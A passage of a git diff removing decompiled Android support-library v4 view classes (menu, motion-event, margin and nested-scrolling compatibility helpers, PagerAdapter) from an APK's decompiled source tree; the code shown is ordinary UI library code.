getMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams) { - return IMPL.getMarginEnd(marginLayoutParams); - } - - public static void setMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - IMPL.setMarginStart(marginLayoutParams, i); - } - - public static void setMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - IMPL.setMarginEnd(marginLayoutParams, i); - } - - public static boolean isMarginRelative(ViewGroup.MarginLayoutParams marginLayoutParams) { - return IMPL.isMarginRelative(marginLayoutParams); - } - - public static int getLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams) { - int layoutDirection = IMPL.getLayoutDirection(marginLayoutParams); - if (layoutDirection == 0 || layoutDirection == 1) { - return layoutDirection; - } - return 0; - } - - public static void setLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - IMPL.setLayoutDirection(marginLayoutParams, i); - } - - public static void resolveLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - IMPL.resolveLayoutDirection(marginLayoutParams, i); - } - - private MarginLayoutParamsCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MarginLayoutParamsCompatJellybeanMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MarginLayoutParamsCompatJellybeanMr1.java deleted file mode 100644 index dce27b5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MarginLayoutParamsCompatJellybeanMr1.java +++ /dev/null @@ -1,40 +0,0 @@ -package android.support.v4.view; - -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MarginLayoutParamsCompatJellybeanMr1 { - MarginLayoutParamsCompatJellybeanMr1() { - } - - public static int getMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams) { - return marginLayoutParams.getMarginStart(); - } - - public static int getMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams) { - return marginLayoutParams.getMarginEnd(); - } - - public static void setMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - marginLayoutParams.setMarginStart(i); - } - - public static void setMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - marginLayoutParams.setMarginEnd(i); - } - - public static boolean isMarginRelative(ViewGroup.MarginLayoutParams marginLayoutParams) { - return marginLayoutParams.isMarginRelative(); - } - - public static int getLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams) { - return marginLayoutParams.getLayoutDirection(); - } - - public static void setLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - marginLayoutParams.setLayoutDirection(i); - } - - public static void resolveLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - marginLayoutParams.resolveLayoutDirection(i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MenuCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MenuCompat.java deleted file mode 100644 index 0f65a90..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MenuCompat.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.view; - -import android.view.MenuItem; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class MenuCompat { - @Deprecated - public static void setShowAsAction(MenuItem menuItem, int i) { - MenuItemCompat.setShowAsAction(menuItem, i); - } - - private MenuCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompat.java deleted file mode 100644 index 177c16e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompat.java +++ /dev/null @@ -1,249 +0,0 @@ -package android.support.v4.view; - -import android.support.v4.internal.view.SupportMenuItem; -import android.support.v4.view.MenuItemCompatIcs; -import android.util.Log; -import android.view.MenuItem; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class MenuItemCompat { - static final MenuVersionImpl IMPL = new IcsMenuVersionImpl(); - public static final int SHOW_AS_ACTION_ALWAYS = 2; - public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8; - public static final int SHOW_AS_ACTION_IF_ROOM = 1; - public static final int SHOW_AS_ACTION_NEVER = 0; - public static final int SHOW_AS_ACTION_WITH_TEXT = 4; - private static final String TAG = "MenuItemCompat"; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface MenuVersionImpl { - boolean collapseActionView(MenuItem menuItem); - - boolean expandActionView(MenuItem menuItem); - - View getActionView(MenuItem menuItem); - - boolean isActionViewExpanded(MenuItem menuItem); - - MenuItem setActionView(MenuItem menuItem, int i); - - MenuItem setActionView(MenuItem menuItem, View view); - - MenuItem setOnActionExpandListener(MenuItem menuItem, OnActionExpandListener onActionExpandListener); - - void setShowAsAction(MenuItem menuItem, int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnActionExpandListener { - boolean onMenuItemActionCollapse(MenuItem menuItem); - - boolean onMenuItemActionExpand(MenuItem menuItem); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseMenuVersionImpl implements MenuVersionImpl { - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean collapseActionView(MenuItem menuItem) { - return false; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean expandActionView(MenuItem menuItem) { - return false; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public View getActionView(MenuItem menuItem) { - return null; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean isActionViewExpanded(MenuItem menuItem) { - return false; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public MenuItem setActionView(MenuItem menuItem, int i) { - return menuItem; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public MenuItem setActionView(MenuItem menuItem, View view) { - return menuItem; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public MenuItem setOnActionExpandListener(MenuItem menuItem, OnActionExpandListener onActionExpandListener) { - return menuItem; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public void setShowAsAction(MenuItem menuItem, int i) { - } - - BaseMenuVersionImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HoneycombMenuVersionImpl implements MenuVersionImpl { - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean collapseActionView(MenuItem menuItem) { - return false; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean expandActionView(MenuItem menuItem) { - return false; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean isActionViewExpanded(MenuItem menuItem) { - return false; - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public MenuItem setOnActionExpandListener(MenuItem menuItem, OnActionExpandListener onActionExpandListener) { - return menuItem; - } - - HoneycombMenuVersionImpl() { - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public void setShowAsAction(MenuItem menuItem, int i) { - MenuItemCompatHoneycomb.setShowAsAction(menuItem, i); - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public MenuItem setActionView(MenuItem menuItem, View view) { - return MenuItemCompatHoneycomb.setActionView(menuItem, view); - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public MenuItem setActionView(MenuItem menuItem, int i) { - return MenuItemCompatHoneycomb.setActionView(menuItem, i); - } - - @Override // android.support.v4.view.MenuItemCompat.MenuVersionImpl - public View getActionView(MenuItem menuItem) { - return MenuItemCompatHoneycomb.getActionView(menuItem); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class IcsMenuVersionImpl extends HoneycombMenuVersionImpl { - IcsMenuVersionImpl() { - } - - @Override // android.support.v4.view.MenuItemCompat.HoneycombMenuVersionImpl, android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean expandActionView(MenuItem menuItem) { - return MenuItemCompatIcs.expandActionView(menuItem); - } - - @Override // android.support.v4.view.MenuItemCompat.HoneycombMenuVersionImpl, android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean collapseActionView(MenuItem menuItem) { - return MenuItemCompatIcs.collapseActionView(menuItem); - } - - @Override // android.support.v4.view.MenuItemCompat.HoneycombMenuVersionImpl, android.support.v4.view.MenuItemCompat.MenuVersionImpl - public boolean isActionViewExpanded(MenuItem menuItem) { - return MenuItemCompatIcs.isActionViewExpanded(menuItem); - } - - @Override // android.support.v4.view.MenuItemCompat.HoneycombMenuVersionImpl, android.support.v4.view.MenuItemCompat.MenuVersionImpl - public MenuItem setOnActionExpandListener(MenuItem menuItem, final OnActionExpandListener onActionExpandListener) { - if (onActionExpandListener == null) { - return MenuItemCompatIcs.setOnActionExpandListener(menuItem, null); - } - return MenuItemCompatIcs.setOnActionExpandListener(menuItem, new MenuItemCompatIcs.SupportActionExpandProxy() { // from class: android.support.v4.view.MenuItemCompat.IcsMenuVersionImpl.1 - @Override // android.support.v4.view.MenuItemCompatIcs.SupportActionExpandProxy - public boolean onMenuItemActionExpand(MenuItem menuItem2) { - return onActionExpandListener.onMenuItemActionExpand(menuItem2); - } - - @Override // android.support.v4.view.MenuItemCompatIcs.SupportActionExpandProxy - public boolean onMenuItemActionCollapse(MenuItem menuItem2) { - return onActionExpandListener.onMenuItemActionCollapse(menuItem2); - } - }); - } - } - - public static void setShowAsAction(MenuItem menuItem, int i) { - if (menuItem instanceof SupportMenuItem) { - ((SupportMenuItem) menuItem).setShowAsAction(i); - } else { - IMPL.setShowAsAction(menuItem, i); - } - } - - public static MenuItem setActionView(MenuItem menuItem, View view) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).setActionView(view); - } - return IMPL.setActionView(menuItem, view); - } - - public static MenuItem setActionView(MenuItem menuItem, int i) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).setActionView(i); - } - return IMPL.setActionView(menuItem, i); - } - - public static View getActionView(MenuItem menuItem) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).getActionView(); - } - return IMPL.getActionView(menuItem); - } - - public static MenuItem setActionProvider(MenuItem menuItem, ActionProvider actionProvider) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).setSupportActionProvider(actionProvider); - } - Log.w(TAG, "setActionProvider: item does not implement SupportMenuItem; ignoring"); - return menuItem; - } - - public static ActionProvider getActionProvider(MenuItem menuItem) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).getSupportActionProvider(); - } - Log.w(TAG, "getActionProvider: item does not implement SupportMenuItem; returning null"); - return null; - } - - public static boolean expandActionView(MenuItem menuItem) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).expandActionView(); - } - return IMPL.expandActionView(menuItem); - } - - public static boolean collapseActionView(MenuItem menuItem) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).collapseActionView(); - } - return IMPL.collapseActionView(menuItem); - } - - public static boolean isActionViewExpanded(MenuItem menuItem) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).isActionViewExpanded(); - } - return IMPL.isActionViewExpanded(menuItem); - } - - public static MenuItem setOnActionExpandListener(MenuItem menuItem, OnActionExpandListener onActionExpandListener) { - if (menuItem instanceof SupportMenuItem) { - return ((SupportMenuItem) menuItem).setSupportOnActionExpandListener(onActionExpandListener); - } - return IMPL.setOnActionExpandListener(menuItem, onActionExpandListener); - } - - private MenuItemCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompatHoneycomb.java deleted file mode 100644 index 610d6e3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompatHoneycomb.java +++ /dev/null @@ -1,25 +0,0 @@ -package android.support.v4.view; - -import android.view.MenuItem; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MenuItemCompatHoneycomb { - MenuItemCompatHoneycomb() { - } - - public static void setShowAsAction(MenuItem menuItem, int i) { - menuItem.setShowAsAction(i); - } - - public static MenuItem setActionView(MenuItem menuItem, View view) { - return menuItem.setActionView(view); - } - - public static MenuItem setActionView(MenuItem menuItem, int i) { - return menuItem.setActionView(i); - } - - public static View getActionView(MenuItem menuItem) { - return menuItem.getActionView(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompatIcs.java deleted file mode 100644 index fe5b1bc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MenuItemCompatIcs.java +++ /dev/null @@ -1,51 +0,0 @@ -package android.support.v4.view; - -import android.view.MenuItem; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MenuItemCompatIcs { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface SupportActionExpandProxy { - boolean onMenuItemActionCollapse(MenuItem menuItem); - - boolean onMenuItemActionExpand(MenuItem menuItem); - } - - MenuItemCompatIcs() { - } - - public static boolean expandActionView(MenuItem menuItem) { - return menuItem.expandActionView(); - } - - public static boolean collapseActionView(MenuItem menuItem) { - return menuItem.collapseActionView(); - } - - public static boolean isActionViewExpanded(MenuItem menuItem) { - return menuItem.isActionViewExpanded(); - } - - public static MenuItem setOnActionExpandListener(MenuItem menuItem, SupportActionExpandProxy supportActionExpandProxy) { - return menuItem.setOnActionExpandListener(new OnActionExpandListenerWrapper(supportActionExpandProxy)); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class OnActionExpandListenerWrapper implements MenuItem.OnActionExpandListener { - private SupportActionExpandProxy mWrapped; - - public OnActionExpandListenerWrapper(SupportActionExpandProxy supportActionExpandProxy) { - this.mWrapped = supportActionExpandProxy; - } - - @Override // android.view.MenuItem.OnActionExpandListener - public boolean onMenuItemActionExpand(MenuItem menuItem) { - return this.mWrapped.onMenuItemActionExpand(menuItem); - } - - @Override // android.view.MenuItem.OnActionExpandListener - public boolean onMenuItemActionCollapse(MenuItem menuItem) { - return this.mWrapped.onMenuItemActionCollapse(menuItem); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompat.java deleted file mode 100644 index 837a891..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompat.java +++ /dev/null @@ -1,175 +0,0 @@ -package android.support.v4.view; - -import android.view.MotionEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class MotionEventCompat { - public static final int ACTION_HOVER_ENTER = 9; - public static final int ACTION_HOVER_EXIT = 10; - public static final int ACTION_HOVER_MOVE = 7; - public static final int ACTION_MASK = 255; - public static final int ACTION_POINTER_DOWN = 5; - public static final int ACTION_POINTER_INDEX_MASK = 65280; - public static final int ACTION_POINTER_INDEX_SHIFT = 8; - public static final int ACTION_POINTER_UP = 6; - public static final int ACTION_SCROLL = 8; - public static final int AXIS_BRAKE = 23; - public static final int AXIS_DISTANCE = 24; - public static final int AXIS_GAS = 22; - public static final int AXIS_GENERIC_1 = 32; - public static final int AXIS_GENERIC_10 = 41; - public static final int AXIS_GENERIC_11 = 42; - public static final int AXIS_GENERIC_12 = 43; - public static final int AXIS_GENERIC_13 = 44; - public static final int AXIS_GENERIC_14 = 45; - public static final int AXIS_GENERIC_15 = 46; - public static final int AXIS_GENERIC_16 = 47; - public static final int AXIS_GENERIC_2 = 33; - public static final int AXIS_GENERIC_3 = 34; - public static final int AXIS_GENERIC_4 = 35; - public static final int AXIS_GENERIC_5 = 36; - public static final int AXIS_GENERIC_6 = 37; - public static final int AXIS_GENERIC_7 = 38; - public static final int AXIS_GENERIC_8 = 39; - public static final int AXIS_GENERIC_9 = 40; - public static final int AXIS_HAT_X = 15; - public static final int AXIS_HAT_Y = 16; - public static final int AXIS_HSCROLL = 10; - public static final int AXIS_LTRIGGER = 17; - public static final int AXIS_ORIENTATION = 8; - public static final int AXIS_PRESSURE = 2; - public static final int AXIS_RELATIVE_X = 27; - public static final int AXIS_RELATIVE_Y = 28; - public static final int AXIS_RTRIGGER = 18; - public static final int AXIS_RUDDER = 20; - public static final int AXIS_RX = 12; - public static final int AXIS_RY = 13; - public static final int AXIS_RZ = 14; - public static final int AXIS_SIZE = 3; - public static final int AXIS_THROTTLE = 19; - public static final int AXIS_TILT = 25; - public static final int AXIS_TOOL_MAJOR = 6; - public static final int AXIS_TOOL_MINOR = 7; - public static final int AXIS_TOUCH_MAJOR = 4; - public static final int AXIS_TOUCH_MINOR = 5; - public static final int AXIS_VSCROLL = 9; - public static final int AXIS_WHEEL = 21; - public static final int AXIS_X = 0; - public static final int AXIS_Y = 1; - public static final int AXIS_Z = 11; - public static final int BUTTON_PRIMARY = 1; - static final MotionEventVersionImpl IMPL = new ICSMotionEventVersionImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface MotionEventVersionImpl { - float getAxisValue(MotionEvent motionEvent, int i); - - float getAxisValue(MotionEvent motionEvent, int i, int i2); - - int getButtonState(MotionEvent motionEvent); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseMotionEventVersionImpl implements MotionEventVersionImpl { - @Override // android.support.v4.view.MotionEventCompat.MotionEventVersionImpl - public float getAxisValue(MotionEvent motionEvent, int i) { - return 0.0f; - } - - @Override // android.support.v4.view.MotionEventCompat.MotionEventVersionImpl - public float getAxisValue(MotionEvent motionEvent, int i, int i2) { - return 0.0f; - } - - @Override // android.support.v4.view.MotionEventCompat.MotionEventVersionImpl - public int getButtonState(MotionEvent motionEvent) { - return 0; - } - - BaseMotionEventVersionImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HoneycombMr1MotionEventVersionImpl extends BaseMotionEventVersionImpl { - HoneycombMr1MotionEventVersionImpl() { - } - - @Override // android.support.v4.view.MotionEventCompat.BaseMotionEventVersionImpl, android.support.v4.view.MotionEventCompat.MotionEventVersionImpl - public float getAxisValue(MotionEvent motionEvent, int i) { - return MotionEventCompatHoneycombMr1.getAxisValue(motionEvent, i); - } - - @Override // android.support.v4.view.MotionEventCompat.BaseMotionEventVersionImpl, android.support.v4.view.MotionEventCompat.MotionEventVersionImpl - public float getAxisValue(MotionEvent motionEvent, int i, int i2) { - return MotionEventCompatHoneycombMr1.getAxisValue(motionEvent, i, i2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class ICSMotionEventVersionImpl extends HoneycombMr1MotionEventVersionImpl { - ICSMotionEventVersionImpl() { - } - - @Override // android.support.v4.view.MotionEventCompat.BaseMotionEventVersionImpl, android.support.v4.view.MotionEventCompat.MotionEventVersionImpl - public int getButtonState(MotionEvent motionEvent) { - return MotionEventCompatICS.getButtonState(motionEvent); - } - } - - public static int getActionMasked(MotionEvent motionEvent) { - return motionEvent.getAction() & 255; - } - - public static int getActionIndex(MotionEvent motionEvent) { - return (motionEvent.getAction() & ACTION_POINTER_INDEX_MASK) >> 8; - } - - @Deprecated - public static int findPointerIndex(MotionEvent motionEvent, int i) { - return motionEvent.findPointerIndex(i); - } - - @Deprecated - public static int getPointerId(MotionEvent motionEvent, int i) { - return motionEvent.getPointerId(i); - } - - @Deprecated - public static float getX(MotionEvent motionEvent, int i) { - return motionEvent.getX(i); - } - - @Deprecated - public static float getY(MotionEvent motionEvent, int i) { - return motionEvent.getY(i); - } - - @Deprecated - public static int getPointerCount(MotionEvent motionEvent) { - return motionEvent.getPointerCount(); - } - - @Deprecated - public static int getSource(MotionEvent motionEvent) { - return motionEvent.getSource(); - } - - public static boolean isFromSource(MotionEvent motionEvent, int i) { - return (motionEvent.getSource() & i) == i; - } - - public static float getAxisValue(MotionEvent motionEvent, int i) { - return IMPL.getAxisValue(motionEvent, i); - } - - public static float getAxisValue(MotionEvent motionEvent, int i, int i2) { - return IMPL.getAxisValue(motionEvent, i, i2); - } - - public static int getButtonState(MotionEvent motionEvent) { - return IMPL.getButtonState(motionEvent); - } - - private MotionEventCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompatHoneycombMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompatHoneycombMr1.java deleted file mode 100644 index 94b7230..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompatHoneycombMr1.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.v4.view; - -import android.view.MotionEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MotionEventCompatHoneycombMr1 { - MotionEventCompatHoneycombMr1() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static float getAxisValue(MotionEvent motionEvent, int i) { - return motionEvent.getAxisValue(i); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static float getAxisValue(MotionEvent motionEvent, int i, int i2) { - return motionEvent.getAxisValue(i, i2); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompatICS.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompatICS.java deleted file mode 100644 index d48bf61..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MotionEventCompatICS.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.view; - -import android.view.MotionEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MotionEventCompatICS { - MotionEventCompatICS() { - } - - public static int getButtonState(MotionEvent motionEvent) { - return motionEvent.getButtonState(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingChild.java b/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingChild.java deleted file mode 100644 index e89835d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingChild.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.view; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface NestedScrollingChild { - boolean dispatchNestedFling(float f, float f2, boolean z); - - boolean dispatchNestedPreFling(float f, float f2); - - boolean dispatchNestedPreScroll(int i, int i2, int[] iArr, int[] iArr2); - - boolean dispatchNestedScroll(int i, int i2, int i3, int i4, int[] iArr); - - boolean hasNestedScrollingParent(); - - boolean isNestedScrollingEnabled(); - - void setNestedScrollingEnabled(boolean z); - - boolean startNestedScroll(int i); - - void stopNestedScroll(); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingChildHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingChildHelper.java deleted file mode 100644 index e9193e0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingChildHelper.java +++ /dev/null @@ -1,150 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.ViewParent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class NestedScrollingChildHelper { - private boolean mIsNestedScrollingEnabled; - private ViewParent mNestedScrollingParent; - private int[] mTempNestedScrollConsumed; - private final View mView; - - public NestedScrollingChildHelper(View view) { - this.mView = view; - } - - public void setNestedScrollingEnabled(boolean z) { - if (this.mIsNestedScrollingEnabled) { - ViewCompat.stopNestedScroll(this.mView); - } - this.mIsNestedScrollingEnabled = z; - } - - public boolean isNestedScrollingEnabled() { - return this.mIsNestedScrollingEnabled; - } - - public boolean hasNestedScrollingParent() { - return this.mNestedScrollingParent != null; - } - - public boolean startNestedScroll(int i) { - if (hasNestedScrollingParent()) { - return true; - } - if (isNestedScrollingEnabled()) { - View view = this.mView; - for (ViewParent parent = this.mView.getParent(); parent != null; parent = parent.getParent()) { - if (ViewParentCompat.onStartNestedScroll(parent, view, this.mView, i)) { - this.mNestedScrollingParent = parent; - ViewParentCompat.onNestedScrollAccepted(parent, view, this.mView, i); - return true; - } - if (parent instanceof View) { - view = (View) parent; - } - } - return false; - } - return false; - } - - public void stopNestedScroll() { - ViewParent viewParent = this.mNestedScrollingParent; - if (viewParent != null) { - ViewParentCompat.onStopNestedScroll(viewParent, this.mView); - this.mNestedScrollingParent = null; - } - } - - public boolean dispatchNestedScroll(int i, int i2, int i3, int i4, int[] iArr) { - int i5; - int i6; - if (isNestedScrollingEnabled() && this.mNestedScrollingParent != null) { - if (i != 0 || i2 != 0 || i3 != 0 || i4 != 0) { - if (iArr != null) { - this.mView.getLocationInWindow(iArr); - i5 = iArr[0]; - i6 = iArr[1]; - } else { - i5 = 0; - i6 = 0; - } - ViewParentCompat.onNestedScroll(this.mNestedScrollingParent, this.mView, i, i2, i3, i4); - if (iArr != null) { - this.mView.getLocationInWindow(iArr); - iArr[0] = iArr[0] - i5; - iArr[1] = iArr[1] - i6; - } - return true; - } else if (iArr != null) { - iArr[0] = 0; - iArr[1] = 0; - } - } - return false; - } - - public boolean dispatchNestedPreScroll(int i, int i2, int[] iArr, int[] iArr2) { - int i3; - int i4; - if (!isNestedScrollingEnabled() || this.mNestedScrollingParent == null) { - return false; - } - if (i == 0 && i2 == 0) { - if (iArr2 != null) { - iArr2[0] = 0; - iArr2[1] = 0; - return false; - } - return false; - } - if (iArr2 != null) { - this.mView.getLocationInWindow(iArr2); - i3 = iArr2[0]; - i4 = iArr2[1]; - } else { - i3 = 0; - i4 = 0; - } - if (iArr == null) { - if (this.mTempNestedScrollConsumed == null) { - this.mTempNestedScrollConsumed = new int[2]; - } - iArr = this.mTempNestedScrollConsumed; - } - iArr[0] = 0; - iArr[1] = 0; - ViewParentCompat.onNestedPreScroll(this.mNestedScrollingParent, this.mView, i, i2, iArr); - if (iArr2 != null) { - this.mView.getLocationInWindow(iArr2); - iArr2[0] = iArr2[0] - i3; - iArr2[1] = iArr2[1] - i4; - } - return (iArr[0] == 0 && iArr[1] == 0) ? false : true; - } - - public boolean dispatchNestedFling(float f, float f2, boolean z) { - ViewParent viewParent; - if (!isNestedScrollingEnabled() || (viewParent = this.mNestedScrollingParent) == null) { - return false; - } - return ViewParentCompat.onNestedFling(viewParent, this.mView, f, f2, z); - } - - public boolean dispatchNestedPreFling(float f, float f2) { - ViewParent viewParent; - if (!isNestedScrollingEnabled() || (viewParent = this.mNestedScrollingParent) == null) { - return false; - } - return ViewParentCompat.onNestedPreFling(viewParent, this.mView, f, f2); - } - - public void onDetachedFromWindow() { - ViewCompat.stopNestedScroll(this.mView); - } - - public void onStopNestedScroll(View view) { - ViewCompat.stopNestedScroll(this.mView); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingParent.java b/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingParent.java deleted file mode 100644 index 16f1b19..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingParent.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface NestedScrollingParent { - int getNestedScrollAxes(); - - boolean onNestedFling(View view, float f, float f2, boolean z); - - boolean onNestedPreFling(View view, float f, float f2); - - void onNestedPreScroll(View view, int i, int i2, int[] iArr); - - void onNestedScroll(View view, int i, int i2, int i3, int i4); - - void onNestedScrollAccepted(View view, View view2, int i); - - boolean onStartNestedScroll(View view, View view2, int i); - - void onStopNestedScroll(View view); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingParentHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingParentHelper.java deleted file mode 100644 index 76613e3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/NestedScrollingParentHelper.java +++ /dev/null @@ -1,25 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class NestedScrollingParentHelper { - private int mNestedScrollAxes; - private final ViewGroup mViewGroup; - - public NestedScrollingParentHelper(ViewGroup viewGroup) { - this.mViewGroup = viewGroup; - } - - public void onNestedScrollAccepted(View view, View view2, int i) { - this.mNestedScrollAxes = i; - } - - public int getNestedScrollAxes() { - return this.mNestedScrollAxes; - } - - public void onStopNestedScroll(View view) { - this.mNestedScrollAxes = 0; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/OnApplyWindowInsetsListener.java b/apk_3230/decompiled_source/sources/android/support/v4/view/OnApplyWindowInsetsListener.java deleted file mode 100644 index 8f89ac7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/OnApplyWindowInsetsListener.java +++ /dev/null @@ -1,7 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface OnApplyWindowInsetsListener { - WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/PagerAdapter.java b/apk_3230/decompiled_source/sources/android/support/v4/view/PagerAdapter.java deleted file mode 100644 index 135a409..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/PagerAdapter.java +++ /dev/null @@ -1,104 +0,0 @@ -package android.support.v4.view; - -import android.database.DataSetObservable; -import android.database.DataSetObserver; -import android.os.Parcelable; -import android.view.View; -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class PagerAdapter { - public static final int POSITION_NONE = -2; - public static final int POSITION_UNCHANGED = -1; - private final DataSetObservable mObservable = new DataSetObservable(); - private DataSetObserver mViewPagerObserver; - - @Deprecated - public void finishUpdate(View view) { - } - - public abstract int getCount(); - - public int getItemPosition(Object obj) { - return -1; - } - - public CharSequence getPageTitle(int i) { - return null; - } - - public float getPageWidth(int i) { - return 1.0f; - } - - public abstract boolean 